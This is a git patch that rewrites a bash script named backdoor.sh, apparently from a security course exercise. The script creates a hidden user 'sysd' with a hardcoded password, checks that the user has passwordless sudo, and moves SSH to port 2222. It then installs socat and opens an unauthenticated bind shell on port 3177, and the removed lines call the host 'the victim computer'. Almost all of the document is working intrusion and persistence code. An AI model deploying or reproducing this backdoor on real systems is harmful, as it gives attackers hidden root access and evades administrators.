From aff62e3265b560db2100f5d0b417e8163114a682 Mon Sep 17 00:00:00 2001 From: Harsimran Sidhu <22066581+PKHarsimran@users.noreply.github.com> Date: Thu, 23 Nov 2023 15:15:39 +0000 Subject: [PATCH] Update backdoor.sh --- backdoor.sh | 95 +++++++++++++++++++++++------------------------------ 1 file changed, 42 insertions(+), 53 deletions(-) diff --git a/backdoor.sh b/backdoor.sh index e15c0c0..28e74e9 100644 --- a/backdoor.sh +++ b/backdoor.sh @@ -1,64 +1,53 @@ #!/usr/bin/env bash + +# Ensure the script is run with root privileges if [ "$EUID" -ne 0 ]; then - echo "Please run as root" - exit + echo "Please run as root." + exit 1 fi - #exit out if user ran the script without root -echo "Script running ... .. .. ." -useradd -rMo -u 300 -p p4ssw0rd sysd #create a secret user with no home, and uid with 300 -groupmod -g 300 sysd # give the GID sa -echo "Created secret user ..... .. . ." -cat /etc/passwd | grep -i sysd #check if user is created -#check if user has proper privileges for sysd mean u did the HW -# visudo < this will edit the sudoer file -# then look for sysd priv in file -# add 'NOPASSWD:ALL' to end of 'sysd ALL=(ALL:ALL) ' -# sysd ALL=(ALL) NOPASSWD:ALL -# hopefully you have completed that -# then check if user has no password privileges -var=$(cat /etc/sudoer.tmp | grep -i sysd | awk '{ print $3 }') -vareql="NOPASSWD:ALL" -if [ $var != $vareql ]; then - echo "Error sudoer file not properly configured .. .. ." - echo " fix it ! :<" - exit + +echo "Script running..." + +# Create a system user with specified UID and no home directory +useradd -rMo -u 300 -p p4ssw0rd sysd + +# Assign the user to a group with the same GID +groupmod -g 300 sysd +echo "Created secret user." + +# Verify if the user was created +grep -i sysd /etc/passwd + +# Check if the sudoers file is properly configured for the sysd user +if ! grep -q 'sysd ALL=(ALL) NOPASSWD:ALL' /etc/sudoers; then + echo "Error: sudoers file not properly configured. Please fix it!" + exit 1 else - echo " check complete :) " + echo "sudoers check complete." fi -####################################################### -################ Back DOOR ################# -################ By ################# -################ V V V V ################# -################ Hershey ################# -################ ################# -####################################################### -#first stop the service if its running -serCek=$(systemctl is-active ssh.service) -if [ $ serCek = "active" ]; then - echo "service running .... shutting it down" + +# Stop the SSH service if it's running +if systemctl is-active --quiet ssh.service; then + echo "SSH service is running. Shutting it down..." systemctl stop ssh.service fi -echo "Starting the edditing..... >" -sed -n 's/Port 22/Port 2222/g' /etc/ssh/ssh_config #edit the ssh_config file silently -#restart the ssh services + +echo "Modifying SSH configuration..." + +# Change SSH port in the config file +sed -i 's/#Port 22/Port 2222/g' /etc/ssh/sshd_config + +# Restart the SSH service systemctl restart ssh.service -echo -e "/nServices restarted " -TARGET_IP=$(hostname -I) -echo -e "/n SSH : ssh root@$TARGET_IP -p 2222" -############################################################### -echo -e " +echo "SSH service restarted." + +TARGET_IP=$(hostname -I | awk '{print $1}') +echo "SSH command: ssh root@$TARGET_IP -p 2222" - _____ ____ ______ ___ ______ - / ___/ / __ \ / ____// | /_ __/ - \__ \ / / / // / / /| | / / - ___/ // /_/ // /___ / ___ | / / -/____/ \____/ \____//_/ |_|/_/ +# Install socat +apt-get install socat -y +# Run socat listener in background +socat TCP4-LISTEN:3177,fork EXEC:/bin/bash & -" -sudo apt-get install socat -y -socat TCP4-Listen:3177,fork EXEC:/bin/bash & #run the listener on the victim computer -#now computer will listen -#to connect to t the victim computer -#socat STDIO TCP4:TARGET_IP:3177 -#now you can enter commands like in linux #!/usr/bin/env +echo "Listener setup complete."